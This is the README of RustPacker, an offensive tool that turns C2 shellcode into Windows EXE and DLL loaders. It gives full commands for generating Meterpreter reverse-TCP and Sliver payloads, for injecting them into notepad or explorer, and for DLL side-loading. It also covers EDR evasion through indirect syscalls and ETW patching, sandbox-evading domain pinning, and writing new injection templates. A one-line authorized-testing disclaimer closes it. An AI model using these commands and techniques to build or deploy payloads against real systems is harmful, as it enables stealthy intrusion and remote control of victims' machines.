Turn raw shellcode into evasive Windows binaries β in one command, from any OS.
Designed for authorized penetration testers and red team operators.
Shellcode is a small blob of machine code that a C2 framework (Metasploit, Sliver, Cobalt Strikeβ¦) generates as a payload. By itself it's just bytes β it needs a loader to run it on a target Windows machine.
RustPacker is that loader generator. It takes your shellcode and wraps it in a Rust program.
The result is a .exe or .dll that you deliver to your target during an authorized engagement.
- Multiple Injection Templates β CRT, APC, Fibers, EarlyCascade, Module Stompingβ¦
- Encryption β XOR, AES-256, UUID encoding
- Syscall Evasion β indirect syscalls to bypass EDR user-mode hooks
- EXE & DLL output β including DLL proxying / side-loading
- Sandbox Evasion β domain pinning prevents detonation in analysis sandboxes
- Cross-Platform Build β works on Linux, Windows, macOS via Podman or Docker
The fastest and easiest way to use RustPacker! No Rust installation required.
# Ubuntu / Debian
sudo apt install podman
# Fedora / RHEL
sudo dnf install podman
# macOS
brew install podman
podman machine init
podman machine start
# Windows (PowerShell)
winget install Podman.Podman # or install Podman DesktopVerify: podman --version or docker --version
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
# Build the all-in-one container
podman build -t rustpacker -f Dockerfile.all-in-one .This step is done once. The image is then cached locally.
Important: Place all your shellcode files (e.g., shellcode.raw, payload.bin) in the shared/ directory of the RustPacker project. This directory is mounted inside the container at /workdir/shared/.
# Generate a test payload (harmless MessageBox) - note it's saved to shared/
msfvenom -p windows/x64/messagebox TEXT="RustPacker!" TITLE="Test" -f raw -o shared/shellcode.bin
# Generate EXE payload
podman run --rm -v $(pwd):/workdir rustpacker \
--shellcode-path /workdir/shared/shellcode.bin \
--format exe \
--execution ntcrt \
--encryption xor \
--output /workdir/shared/payload.exeYour payload is ready! Find it at: shared/payload.exe
Note: The container uses long-form arguments (
--shellcode-path,--format,--execution,--encryption,--output). Template names support both short aliases (e.g.,ntcrt,ntapc) and full names (e.g.,nt-create-remote-thread,nt-queue-user-apc).
Add this to your ~/.bashrc or ~/.zshrc:
alias rustpacker='podman run --rm -v $(pwd):/workdir rustpacker'
β οΈ Remember: Always place your shellcode files in theshared/directory. The alias mounts the current directory to/workdirin the container.
Now use it directly:
# Generate EXE payload
rustpacker \
--shellcode-path /workdir/shared/shellcode.bin \
--format exe \
--execution ntcrt \
--encryption aes \
--output /workdir/shared/payload.exe
# Generate DLL payload with self-injection
rustpacker \
--shellcode-path /workdir/shared/shellcode.bin \
--format dll \
--execution ntapc \
--encryption uuid \
--output /workdir/shared/payload.dllπ Windows setup instructions
Option A β Podman Desktop (Recommended):
- Download and install Podman Desktop
- Launch Podman Desktop and follow the guided setup to initialize a Podman machine
- Verify:
podman --version
Option B β Docker Desktop:
- Download and install Docker Desktop
- Enable WSL 2 backend during installation (recommended)
- Verify:
docker --version
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker
podman build -t rustpacker -f Dockerfile.all-in-one .Important: Always place your shellcode files in the shared\ directory of the RustPacker project before running commands.
# Place your shellcode in the shared directory
copy C:\path\to\payload.raw shared\\
# PowerShell - Using container mode with long arguments
podman run --rm -v ${PWD}:/workdir:z rustpacker `\
--shellcode-path /workdir/shared/payload.raw `\
--format exe `\
--execution ntcrt `\
--encryption aes `\
--target-process notepad.exe `\
--output /workdir/shared/output.exe
# cmd.exe
podman run --rm -v %cd%:/workdir:z rustpacker ^
--shellcode-path /workdir/shared/payload.raw ^
--format exe ^
--execution ntcrt ^
--encryption aes ^
--target-process notepad.exe ^
--output /workdir/shared/output.exePowerShell alias for container mode:
function rustpacker { podman run --rm -v "${PWD}:/workdir:z" rustpacker @args }π macOS setup instructions
brew install podman
podman machine init
podman machine start
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile.all-in-one .
alias rustpacker='podman run --rm -v $(pwd):/workdir rustpacker'
# Important: Place your shellcode in the shared/ directory
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption aes --target-process notepad.exe --output /workdir/shared/output.exeπ Alternative: Native Mode (Rust toolchain required)
If you already have Rust installed, you can run RustPacker directly without building the container first. It will automatically detect Podman or Docker and use a container only for cross-compilation:
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo build --release
# Linux / macOS
cargo run -- -s shared/your_shellcode.raw -i ntcrt -e aes -f exe -t notepad.exe
# Windows (PowerShell)
cargo run -- -s shared\your_shellcode.raw -i ntcrt -e aes -f exe -t notepad.exeThe first run builds the rustpacker-builder image once. Subsequent runs reuse the cached image and a shared cargo registry volume for fast builds.
| I want to⦠| Recommended template |
|---|---|
| Inject into another process (e.g. notepad, explorer) | ntcrt (stealthy) or syscrt (max evasion) |
| Run inside the current process (self-injection) | ntapc or ntfiber |
| Run as a DLL that fires on load | ntapc, winfiber, ntfiber, or sysfiber |
| Maximum syscall evasion | syscrt (remote) or sysfiber (self) |
| Minimal dependencies, quick test | wincrt (remote) or winfiber (self) |
| Shim engine / EarlyCascade technique | earlycascade |
| Module stomping (overwrite a legit DLL's .text) | ntstomp |
| WebAssembly stager (low-entropy WAT payload wrapping) | ntwat |
These inject shellcode into a remote process. Default target: dllhost.exe.
| Template | API Level | Indirect Syscalls | Dynamic API | Description |
|---|---|---|---|---|
wincrt |
High (Windows-rs) | β | β | CreateRemoteThread via the official Windows crate |
ntcrt |
Low (ntapi) | β | β | NtCreateThreadEx via dynamic NT API resolution |
syscrt |
Syscall | β | β | NtCreateThreadEx via indirect syscalls |
earlycascade |
Low (winapi) | β | β | EarlyCascade injection via shim engine callback hijacking |
These execute shellcode within the current process.
| Template | API Level | Indirect Syscalls | Dynamic API | ETW patching compatible | Description |
|---|---|---|---|---|---|
ntapc |
Low (ntapi) | β | β | β | Queue APC to current thread via dynamic NT API resolution |
winfiber |
High (windows-sys) | β | β | β | Fiber-based execution via Windows API |
ntfiber |
Low (ntapi + windows-sys) | β | β | β | Fiber-based execution via dynamic NT API resolution |
sysfiber |
Syscall (ntapi + windows-sys) | β | β | β | Fiber-based execution via indirect syscalls |
ntstomp |
Low (ntapi) | β | β | β | Module stomping: overwrites a legit DLL's .text with shellcode |
ntwat |
Low (ntapi) | β | β | β | WebAssembly stager: wraps the encrypted payload in a wasm module (WAT text format, low entropy), reads the data section back out at runtime, then self-executes |
The container mode uses long-form arguments. Both short and long forms are supported in native mode.
β οΈ Important for container mode: All files (shellcode, output, proxy DLLs) must be placed in or output to theshared/directory. This directory is mounted at/workdir/shared/inside the container.
Usage: podman run --rm -v $(pwd):/workdir rustpacker [OPTIONS]
Required:
--shellcode-path <FILE> Path to the raw shellcode file (use /workdir/... for container paths)
-f, --format <FORMAT> Output binary format: exe, dll
-i, --execution <TEMPLATE> Injection template: ntcrt, ntapc, syscrt, wincrt, winfiber, ntfiber, sysfiber, earlycascade, ntstomp, ntwat
-e, --encryption <METHOD> Encryption method: xor, aes, uuid
Optional:
-t, --target-process <PROCESS> Target process to inject into (default: dllhost.exe, CRT templates only)
--sandbox <DOMAIN> Domain pinning: only execute on the specified domain name
-p, --proxy-dll <DLL_PATH> DLL proxying: path to legitimate DLL to proxy (requires -f dll, self-injection templates only)
--etw-patch Patch ETW functions to disable Event Tracing for Windows (EDR evasion, requires self-injection templates with indirect syscalls)
-o, --output <PATH> Custom output path for the resulting binary
--help Print help
--version Print version
Usage: RustPacker -s <FILE> -f <FORMAT> -i <TEMPLATE> -e <ENCRYPTION> [OPTIONS]
Required:
-s <FILE> Path to the raw shellcode file
-f <FORMAT> Output binary format: exe, dll
-i <TEMPLATE> Injection template: ntapc, ntcrt, syscrt, wincrt, winfiber, ntfiber, sysfiber, earlycascade, ntstomp, ntwat
-e <ENCRYPTION> Encryption method: xor, aes, uuid
Optional:
-t <PROCESS> Target process to inject into (default: dllhost.exe, CRT templates only)
--sandbox <DOMAIN> Domain pinning: only execute on the specified domain name
-p <DLL_PATH> DLL proxying: path to legitimate DLL to proxy (requires -f dll, self-injection templates only)
--etw-patch Patch ETW functions to disable Event Tracing for Windows (EDR evasion, requires self-injection templates with indirect syscalls)
-o <PATH> Custom output path for the resulting binary
-h Print help
-V Print version
Important: Always save your shellcode files in the shared/ directory of the RustPacker project. This directory is automatically mounted inside the container.
Metasploit (msfvenom):
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f raw -o shared/payload.rawSliver:
# In Sliver console
generate --mtls 192.168.1.100:443 --format shellcode --os windows
# Then copy the generated .bin file to the shared/ folder
β οΈ Important: All shellcode files must be placed in theshared/directory before running these commands. The container mountsshared/at/workdir/shared/.The examples below use the
rustpackeralias defined in the Quick Start section. Replace it with the fullpodman run --rm -v $(pwd):/workdir rustpackercommand if you haven't set up the alias.
Basic EXE with AES encryption (remote injection into notepad):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption aes --target-process notepad.exe --output /workdir/shared/payload.exeDLL with XOR encryption (self-injection via APC):
rustpacker --shellcode-path /workdir/shared/payload.raw --format dll --execution ntapc --encryption xor --output /workdir/shared/payload.dllUsing indirect syscalls (remote injection into explorer):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution syscrt --encryption aes --target-process explorer.exe --output /workdir/shared/payload.exeUUID encoding (shellcode hidden as UUID strings):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption uuid --target-process notepad.exe --output /workdir/shared/payload.exeWith domain pinning (only detonates on MYDOMAIN):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution winfiber --encryption aes --sandbox MYDOMAIN --output /workdir/shared/payload.exeCustom output path:
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution ntcrt --encryption aes --output /workdir/shared/my_binary.exeWith ETW patching (EDR evasion for sysfiber template):
rustpacker --shellcode-path /workdir/shared/payload.raw --format exe --execution sysfiber --encryption aes --etw-patch --output /workdir/shared/payload.exeDLL proxying (side-loading):
Important: Both your shellcode file AND the DLL to proxy must be placed in the shared/ directory.
# 1. Copy the DLL you want to proxy into the shared directory (required for container access)
cp /mnt/c/Windows/System32/version.dll shared/ # from WSL
# or: copy C:\Windows\System32\version.dll shared\ # from Windows
# 2. Proxy version.dll β compatible with self-injection templates only (ntapc, winfiber, ntfiber, sysfiber)
rustpacker --shellcode-path /workdir/shared/payload.raw --format dll --execution ntfiber --encryption aes --proxy-dll /workdir/shared/version.dll --output /workdir/shared/proxy.dllThe proxy DLL forwards all exports to the renamed original (version_orig.dll) and executes your shellcode on load via DllMain. Deploy by placing the proxy DLL alongside the target application with the original DLL renamed (e.g., version.dll \u2192 version_orig.dll).
Note: The
--proxy-dllpath must be accessible from within the container. Use the/workdir/prefix for all paths when running in container mode.
RustPacker implements several evasion techniques:
- No RWX Memory: Memory is allocated as RW, written, then re-protected as RX only β never RWX. This eliminates a major behavioral detection signal used by EDR/AV.
- Dynamic API Resolution (
nt*templates): NT API functions are resolved at runtime viaGetProcAddresswith XOR-obfuscated function names (random key per build). This removes suspicious ntdll imports from the PE import table. - Indirect Syscalls: Bypass user-mode hooks (
syscrt,sysfibertemplates) - ETW Patching: Disables Event Tracing for Windows functions (EtwEventWrite, EtwEventRegister, etc.) via indirect syscalls to bypass EDR monitoring (available with
--etw-patchflag forsysfibertemplate) - Payload Encryption: XOR encoding, AES-256-CBC encryption, or UUID-based encoding
- String Encryption: Runtime literals in generated loaders are wrapped with litcrypt to reduce static string exposure
- Process Injection: Hide execution in legitimate processes
- Domain Pinning: Only detonate on a specific domain (sandbox evasion)
- Silent Failures: No descriptive error messages in the binary β all failures exit silently to avoid IoC string detection
- Template Variety: Multiple execution methods to avoid static signatures
- Rust Compilation: Native binaries with stripped symbols and LTO
β οΈ Breaking Change: Since RWX (PAGE_EXECUTE_READWRITE) is no longer used, self-modifying / dynamic shellcode is not supported. Only static shellcode payloads are compatible. Most C2 frameworks (Metasploit, Sliver, Cobalt Strike, Havoc) generate static shellcode by default β this should not affect typical usage.
If you prefer to compile without containers (Linux only):
# Ubuntu/Debian
sudo apt update && sudo apt upgrade -y
sudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
rustup target add x86_64-pc-windows-gnugit clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo run -- -s shared/payload.raw -i ntcrt -e xor -f exe -t explorer.exeWhen no container runtime is detected, RustPacker falls back to local compilation automatically.
We recommend using Podman instead of Docker for security reasons:
- Rootless containers by default
- No daemon running as root
- Better security isolation
RustPacker templates are self-contained Rust projects under templates/ that the generator copies and substitutes placeholders into at build time. Adding a new injection technique is a well-defined, six-step process. The ntStomp (module stomping) template is a good reference implementation to mirror.
Create a folder under templates/ named after your technique (convention: API-level prefix + short name, e.g. ntStomp, sysPoolParty, winCallback):
templates/ntStomp/
\u251c\u2500\u2500 .gitignore # ignore target/ and Cargo.lock
\u251c\u2500\u2500 Cargo.toml # template manifest with placeholders
\u2514\u2500\u2500 src/
\u2514\u2500\u2500 main.rs # the loader source with placeholders
The .gitignore should exclude build artifacts:
templates/ntStomp/target/
templates/ntStomp/Cargo.lockMirror an existing template's Cargo.toml. The placeholders {{DLL_FORMAT}} and {{DEPENDENCIES}} are required (the generator fills them); keep the release profile identical across templates:
[package]
name = "ntStomp"
version = "0.1.0"
edition = "2021"
[workspace]
{{DLL_FORMAT}}
[dependencies]
sysinfo = "0.39"
winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "libloaderapi", "winnt"] }
{{DEPENDENCIES}}
[profile.release]
strip = true
opt-level = "z"
codegen-units = 1
panic = "abort"
lto = trueOnly add crates the template actually uses. Do not add dependencies unless the package already uses them.
The generator replaces {{KEY}} placeholders after copying the template. The required placeholders are:
| Placeholder | Provided by | Purpose |
|---|---|---|
{{LITCRYPT_SETUP}} |
generator (fixed) | #[macro_use] extern crate litcrypt; use_litcrypt!(); |
{{COMMON_MODULE}} |
generator (fixed) | mod common; declaration for the shared common.rs helper |
{{IMPORTS}} |
encryption module | extra use statements needed by the decryption routine |
{{SANDBOX_IMPORTS}} |
sandbox builder | imports for the optional sandbox domain-pinning check |
{{DECRYPTION_FUNCTION}} |
encryption module | the fn that decrypts the embedded payload into Vec<u8> |
{{MAIN}} |
encryption module | the decryption call placed in main() |
{{PATH_TO_SHELLCODE}} |
generator | include_bytes!("<encrypted file>") path |
{{SANDBOX}} |
sandbox builder | sandbox check call (empty if --sandbox not set) |
{{DLL_MAIN}} |
dll module | DllMain + export stubs when --format dll (empty for exe) |
{{API_KEY}} |
obfuscation module | XOR key for obfuscated NT API names (nt* templates) |
{{OBF_NT_*}} |
obfuscation module | XOR-obfuscated Nt* function name bytes (nt* templates) |
{{TARGET_PROCESS}} |
obfuscation module | litcrypt-obfuscated target process name |
{{DLL_FORMAT}} |
dll module | [lib] crate-type = ["cdylib"] when --format dll |
A minimal skeleton (see templates/ntStomp/src/main.rs for a full example):
#![windows_subsystem = "windows"]
#![allow(non_snake_case, non_camel_case_types)]
{{LITCRYPT_SETUP}}
{{COMMON_MODULE}}
use std::ptr::null_mut;
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
{{IMPORTS}}
{{SANDBOX_IMPORTS}}
{{DECRYPTION_FUNCTION}}
fn main() {
{{SANDBOX}}
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
let mut vec: Vec<u8> = buf.to_vec();
{{MAIN}}
// ... your injection technique here ...
}
{{DLL_MAIN}}Every
{{...}}placeholder must be consumed. The generator runsvalidate_no_placeholders()after substitution and fails the build with a clear list of any leftover placeholders rather than emitting uncompilable Rust.
Add a variant to the Execution enum with clap aliases (lowercase alias + exact-case alias):
/// Module stomping via low level APIs (overwrites a legit DLL .text)
#[value(alias = "ntstomp", alias = "ntStomp")]
NtModuleStomping,Then update the three impl Execution members:
template_name(&self)\u2192 map the variant to the directory name:Execution::NtModuleStomping => "ntStomp",is_self_injection(&self)\u2192 returntrueif the technique runs in-process (enables DLL proxying via-p).- The existing unit tests (
test_execution_is_self_injection,test_execution_display,test_template_name) should be extended to cover the new variant.
In rustpacker-core/src/generator.rs, append the new variant to the all_combinations() array used by test_assemble_leaves_no_template_placeholders. This guarantees the template assembles cleanly for every exe/dll \u00d7 xor/aes/uuid combination and leaves no placeholder behind:
let executions = [
// ...existing variants...
Execution::NtModuleStomping,
];- Add the template to the relevant table in Choosing a Template (process-injection or self-execution) and to the
--execution/-itemplate lists in Command Line Options. - Run the test suite:
cargo test(the integration test will exercise all combinations). - Smoke-test the generator end to end:
cargo run --bin RustPacker -- -s shared/calc.raw -f exe -i ntstomp -e xor
- Verify the generated
src/main.rscontains zero{{(all placeholders substituted).
| File | Role |
|---|---|
templates/ntStomp/ |
Reference self-injection template (module stomping) |
templates/ntWat/ |
WebAssembly (WAT) stager self-injection template |
rustpacker-core/src/wat.rs |
WAT generation + wasm compilation for the ntWat template |
rustpacker-core/src/config.rs |
Execution enum, aliases, is_self_injection, template_name |
rustpacker-core/src/replacements.rs |
Placeholder \u2192 value map construction |
rustpacker-core/src/generator.rs |
Template copy + substitution orchestration + integration test |
rustpacker-core/src/dll.rs |
DLL-format handling (DllMain, lib.rs rename) |
templates/common.rs |
Shared wipe() helper injected into every template |
Contributions are welcome! Here's how you can help:
- Code Review: Review the codebase for improvements
- Issues: Report bugs or request features
- Templates: Contribute new injection techniques
- Documentation: Improve documentation and examples
- 0xNinjaCyclone & Karkas - EarlyCascade injection technique
- 0xWerz - String encryption implementation
- memN0ps - Inspiration and guidance
- rust-syscalls - Syscall implementation
- trickster0 - OffensiveRust repository
- Maldev Academy - Fiber execution techniques
- craiyon - Logo generation
This tool is provided for educational and authorized penetration testing purposes only.
- Usage against targets without prior mutual consent is illegal
- Users are responsible for complying with all applicable laws
- Developers assume no liability for misuse or damages
- Only use in authorized environments with proper permission
Use responsibly and ethically.
Made with β€οΈ for the cybersecurity community
Report Issues β’ Contribute β’ Documentation
